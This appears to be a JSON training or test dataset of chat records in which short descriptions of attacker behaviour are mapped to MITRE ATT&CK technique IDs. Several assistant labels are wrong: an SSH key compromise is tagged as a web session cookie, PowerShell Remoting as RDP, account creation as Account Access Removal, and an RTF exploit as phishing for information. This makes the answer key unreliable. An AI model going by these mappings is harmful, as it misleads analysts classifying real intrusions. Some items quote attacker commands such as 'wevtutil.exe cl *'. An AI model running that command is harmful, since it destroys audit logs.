                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials of a managed security service provider are used to authenticate to the victim's network through an established trust relationship."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan queries the registry for the 'Shell' value in HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon to detect tampering."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor accessed the web application by using the default system account 'guest' whose password remained set to 'guest'."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches a password guessing campaign targeting email accounts via IMAP login attempts with a common password list."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a tool that sets up an external SOCKS proxy, allowing the attacker to route subsequent malicious requests through it."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a botnet by compromising thousands of home routers and uses it to distribute additional malware."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a cloud-hosted web service as a C2 conduit, allowing the implant to both send status updates and retrieve tasking in a single bidirectional channel."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed a path traversal attack against a public file upload interface, allowing them to write a malicious script to the webroot."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team leverages a compromised certificate authority to issue fraudulent certificates for domains used in phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Kubernetes API \"/apis/apps/v1/daemonsets\" endpoint to discover daemon sets deployed across the cluster."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor uses admin privileges to place a rogue root certificate into the Linux system's certificate bundle, subverting SSL verification."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses spear phishing to gain initial access to a network by sending a targeted email with a malicious attachment."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects a legitimate digital certificate into the Windows Certificate Store via a scheduled task, allowing signed malware to run without detection."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ scheduled tasks to achieve persistence by creating a new task that runs a base64-encoded PowerShell command every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes a corrupted Word template that leverages the AutoOpen macro to launch a hidden process that communicates with external C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a compromised SSH key to access a server without proper authentication."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the registry to point Verclsid.exe to a malicious executable, the attacker achieves code execution via System Binary Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s infrastructure uses a fast‑flux technique where DNS A records are frequently altered to point to a rotating pool of IPs."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated actor utilizes HTML smuggling to embed a malicious JScript engine within an HTML document, which then fetches additional payloads from a remote server and executes them."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute a malicious DLL by loading it through the Windows Control Panel executable."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The team creates a stealthy process‑injection tool for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin used Confluence's space export feature to retrieve proprietary design documents."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email triggers a macro that runs 'cmd.exe /c net user' to enumerate local accounts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a malicious COM add‑in in the Windows Registry so that it loads whenever Microsoft Word starts."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware adds redundant, meaningless data to system logs to dilute the presence of suspicious entries."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team exfiltrated a proprietary malware framework by breaching a partner company's development environment."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit causes the web server to switch from HTTPS to plain HTTP, exposing session cookies."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses Google dorking and public search engines to locate the target company's external web applications and domain registrations."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employs search engine queries like \"site:example.com\" to enumerate publicly accessible resources on the target's site."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan rewrites stolen credentials using a reversible substitution cipher before uploading them."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious entity uses serverless compute on a cloud provider's free tier to host a phishing landing page."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the /build and /target parameters, the adversary triggers execution of a malicious PowerShell command via MSBuild."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan checks for the presence of sandbox processes like vmtoolsd.exe and sleeps for an extended period to outlast analysis time."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a fake software update that, when installed by the victim, runs a PowerShell payload."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor injects commands that downgrade the logging level of security tools, making it harder to detect subsequent malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors host a drive-by download on a legitimate-looking blog, delivering a payload to visitors' browsers via a hidden script."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit trusted developer utilities' proxy feature to execute malicious payloads on victim systems, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a PowerShell payload that executes the Windows “winmm.dll” function to record microphone input during user sessions."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targets corporate VPN portals, tricking users into submitting their credentials on a fake login page."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious attachment is a .rtf file that leverages a CVE in the Office parser to achieve code execution on the host."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant encodes payloads using a shuffled alphabet substitution before embedding them in image metadata."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By operating in an unsupported cloud region, the attacker hides malicious scripts from standard compliance scans."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in token handling, the attacker can generate a token that grants them SYSTEM-level access without proper credentials."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal purchases a packet sniffing utility from an online black market."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a misconfigured Pod's service account token, the attacker queries the Kubernetes API to list secret objects containing Docker credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses stolen credentials to query internal SharePoint sites and download confidential project documents."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script modifies the .plist file of a legitimate app to change its bundle identifier and hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a rootkit into the pre-boot environment, executing before the Windows kernel loads."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employs a custom backdoor that accesses the victim’s mail server via MAPI over HTTP and extracts the entire mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script writes a line to the at spool directory, causing the system to execute a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages launchd to schedule a malicious process by creating a launch agent with KeepAlive set to true."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obscure exfiltrated data by applying XOR encryption with a static key prior to transmission."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in the Outlook Home Page shortcut, causing Outlook to launch a malicious macro-enabled file every time it starts."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Abusing SSH for unauthorized access and data transfer"
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploitation of an insecure API gateway linked to a serverless function leads to unauthorized code execution and data leakage."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain breach where the attacker modifies the source code of a widely used SDK before it is released to developers."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged Windows Remote Management (WinRM) to execute PowerShell commands on a remote workstation for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit of a firmware bug in UEFI allowed the attacker to modify the boot process, preventing security modules from loading."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the TFTP protocol to deliver a tampered boot image in the BIOS/UEFI stage."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects malware into a system that allows them to create a new user account with elevated privileges, facilitating lateral movement across the network through standard protocols."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a script that spams the victim's logging service with excessive log entries, eventually exhausting disk space and halting normal operation."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker acquires a commercially sold keylogger from an online marketplace to monitor victim activity."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake advertisement for a giveaway on Twitter prompted users to log in via OAuth, granting the attacker access tokens to their accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the 'at' command to schedule a malicious batch file to execute after system reboot."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sets up a reverse RDP session to the victim machine, allowing remote command execution through the graphical interface."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a staggered series of RDP connection attempts on different ports, which when received in order, cause the target system to enable a privileged remote desktop session."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By embedding a U+202E character in a shortcut (.lnk) name, the attacker disguises the shortcut's target path, leading users to execute malicious code thinking it's a legitimate document."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the registry to add a Group Policy Preference that writes credentials to a .xml file on the system for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a vulnerability, the adversary creates a new account and assigns it to the Remote Desktop Users group."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious batch file read command components from hidden files, concatenated them, and executed the final command."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals set up a hidden SSH tunnel using PuTTY to provide remote access to a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses remote execution via PowerShell Remoting (PSRemoting) to run commands on a target."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the server, the adversary ran a batch file with \"wevtutil.exe cl *\" to clear every Windows event log."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro downloads a ZIP file containing additional ransomware components via a raw TCP socket."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen credentials, the threat actor attaches to an existing SSH connection and injects code."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
